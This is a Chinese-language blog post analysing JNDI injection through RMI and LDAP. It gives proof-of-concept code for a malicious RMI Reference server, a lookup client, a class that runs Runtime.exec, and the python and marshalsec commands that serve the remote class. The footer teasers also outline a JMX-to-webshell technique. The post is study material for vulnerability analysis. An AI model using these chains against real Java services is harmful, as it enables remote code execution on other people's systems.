一文读懂JNDI-RMI、LDAP注入分析

VSole2023-03-13 10:54:11

JNDI介绍

JNDI 的全称是 Java Naming and Directory Interface (Java 命名和目录接口 ),JNDI 提供统一的客户端 API,通过不同的服务供应接口(SPI)的实现,由管理者将 JNDI API 映射为特定的命名服务和目录服务,使得 JAVA 应用程可以通过 JNDI 实现和这些命名服务和目录服务之间的交互。

SPI 全称为 Service Provider Interface,即服务供应接口,主要作用是为底层的具体目录服务提供统一接口,从而实现目录服务的可插拔式安装。在 JDK 中包含了下述内置的目录服务:

LDAP、DNS、NIS、NDS、RMI、CORBA

在JNDI中提供了绑定和查找的方法:

  • bind:将名称绑定到对象中;
  • lookup:通过名字检索执行的对象;

下面从两种服务来理解jndi注入。

RMI介绍

RMI 的全称是 Rmote Method Invocation,远程方法调用。具体实现的过程是:远程服务器提供具体的类和方法,本地客户端会通过某种方式获得远程类的一个代理,然后通过这个代理调用远程对象的方法。方法的参数是通过序列化和反序列化的方式传递的。

本地客户端获取远程类的代理的方式是,借助了 Registry (注册中心)

其中 Server 和 Registry 可以放在同一个服务器上,也可以布置在不同的服务器上。

RMI 流程:

  • Registry 首先启动,并监听一个端口,一般是1099
  • Server 向 Registry 注册远程对象
  • Client 从 REgistry 获取远程对象的代理
  • Client 通过这个代理调用远程对象的方法
  • Server 端的代理接收到 Client 端调用的方法,参数,Server 端执行相对应的方法
  • Server 端的代理将执行结果返回给 Client 端代理

JNDI之RMI

JDK版本为1.7.0_13

简单看一段代码

public class jndi {    public static void main(String[] args) throws NamingException {        String uri = "rmi://127.0.0.1:1099/work";        InitialContext initialContext = new InitialContext();//得到初始目录环境的一个引用        initialContext.lookup(uri);//获取指定的远程对象
}

这段代码可以明显看出来,要想实现jndi注入的利用只要在initialContext.lookup(uri)的位置实现uri可控就可以调用远程恶意类实现RCE。

Server.java

服务端首先起一个注册中心的端口1099,rmi服务默认端口为1099

package jndi;import com.sun.jndi.rmi.registry.ReferenceWrapper;import javax.naming.Reference;import java.rmi.registry.LocateRegistry;import java.rmi.registry.Registry;
public class Server {
    public static void main(String[] args) throws Exception{        Registry registry= LocateRegistry.createRegistry(1099);        Reference reference = new Reference("Calc", "Calc", "http://localhost/");        ReferenceWrapper wrapper = new ReferenceWrapper(reference);        registry.bind("calc", wrapper);
    }}

Client.java

package jndi;
import javax.naming.InitialContext;
public class Client {    public static void main(String[] args) throws Exception{        new InitialContext().lookup("rmi://localhost:1099/calc");    }}

恶意类Calc.java

import java.lang.Runtime;
public class Calc {    public Calc() throws Exception{        Runtime.getRuntime().exec("calc");    }}

分析

debug调试服务端

服务端注册中心起监听端口1099,创建Refernence一个对象,Reference对象中指定从远程加载构造的恶意Factory类,new对象的时候需要className,factory和factoryLocation,并将其绑定到RMI服务器上

debug启动客户端,F7跟进

在GenericURLContext类96行通过RMI服务查找名字为calc的stub

继续向下跟进lookup,在RegistryContext类中该函数判断var1和var2

这里89行的的var为建立socket连接时的远程地址,在98行跟进RegistryContext类

在342行跟进到NamingManager类,继续向下在getObjectInstance方法中获取工厂类对象

在319行调用了getObjectFactoryFromReference方法,发现通过getObjectFactoryFromReference方法调用恶意类

继续F7

首先会本地查找,获取到codebase后远程调用,见158行

在158行加载恶意类,在168行使用newInstance`方法实例化对象。到这里我们可以看到整个过程的调用栈为

JDK版本为1.8.0_202

在执行客户端的时候报错,由于此jdk版本的com.sun.jndi.rmi.object.trustURLCodebase 默认值为false,即不允许RMI远程地址加载objectfactory类。

JNDI之LDAP

因为JNDI还可以对接LDAP服务,且LDAP也能返回Reference对象,由攻击者控制的LDAP服务端返回一个恶意的JNDI Reference对象。

客户端代码client.java

package jndi;
import javax.naming.InitialContext;
public class Client {    public static void main(String[] args) throws Exception{        new InitialContext().lookup("ldap://localhost:1389/Calc");    }}


python起web服务


python3 -m http.server 80

使用marshalsec启动LDAP服务


java -cp C:\Users\Administrator\Desktop\marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1/#Calc


启动客户端,调用远程恶意类

调用栈如下图

基本上rmi调用栈一致,原理上没有什么差别,都是基于lookup()方法可控。

弹出计算器

参考链接

https://blog.csdn.net/dupei/article/details/120534024

https://cloud.tencent.com/developer/article/1942500

https://blog.csdn.net/weixin_45682070/article/details/121888247?spm=1001.2101.3001.6650.4&utm_medium=distribute.pc_relevant.none-task-blog-2%7Edefault%7ECTRLIST%7ERate-4-121888247-blog-106697014.pc_relevant_recovery_v2&depth_1-utm_source=distribute.pc_relevant.none-task-blog-2%7Edefault%7ECTRLIST%7ERate-4-121888247-blog-106697014.pc_relevant_recovery_v2&utm_relevant_index=8

https://xz.aliyun.com/t/7264

rmijndi
本作品采用《CC 协议》,转载必须注明作者和本文链接
一次从jmx到rce
2022-12-20 13:54:29
jmx已知的利用方式有javax.management.loading.MLet加载远程类rce,但是目标不出网必须用其他方式了。考虑到tomcat,想起来陈师傅写过的《几个Jolokia RCE 的“新”利用方式》通过tomcat的createStandardHost配合AccessLogValue进行rce。利用如下先创建Host为test.com?Catalina:type=Host,host=test.com然后tomcat的valve中就有了test.com的部署之后的结果修改host为test.com之后就可以访问根目录下的任意文件那么只需要写入一个jsp文件就可以getshell了。写入文件需要用AccessLogValue修改AccessLogValue的属性suffix .jspprefix aafileDateFormat .yyyy-MM-ddpattern %h %l %u %t "%r" %s %b "%{Referer}i" "%{User-Agent}i"directory /tmp/
本文作者Betta,首发于火线Zone安全社区。
JNDI漏洞利用探索
2022-01-23 19:33:23
最近学习了浅蓝师傅寻找的一些JNDI漏洞的利用链受益匪浅,自己也尝试关于JNDI漏洞利用做一些挖掘,目前JN
Apache Log4j2是一款优秀的Java日志框架,最近爆出了一个jndi注入的漏洞,影响面非常广,各大厂商都被波及。Log4j2作为日志记录的第三方库,被广泛得到使用,这次主要分享一下,最近的一些调试记录。
Java命名和目录接口是Java编程语言中接口的名称( JNDI )。它是一个API(应用程序接口),与服务器一起工作,为开发人员提供了查找和访问各种命名和目录服务的通用、统一的接口。 可以使用命名约定从数据库获取文件。JNDI为Java⽤户提供了使⽤Java编码语⾔在Java中搜索对象的⼯具。 简单来说呢,JNDI相当与是Java里面的一个api,它可以通过命名来查找数据和对象。
笔者继续带大家炒Fastjson的冷饭。关于漏洞分析和利用链分析文章网上已有大量,但是关于如何自动化检测的文章还是比较少见的,尤其是如何不使用Java对Fastjson做检测。
目前的Log4j2检测都需要借助dnslog平台,是否存在不借助dnslog的检测方式呢
本文首发于奇安信攻防社区漏洞简述Log4j 2系列 < 2.15.0版本中存在反序列化漏洞。奇安信代码安全实
Fastjson 是一个 Java 库,可以将 Java 对象转换为 JSON 格式,当然它也可以将 JSON 字符串转换为 Java 对象。Fastjson 可以操作任何 Java 对象,即使是一些预先存在的没有源码的对象。 在进行fastjson的漏洞复现学习之前需要了解几个概念,如下:
VSole
网络安全专家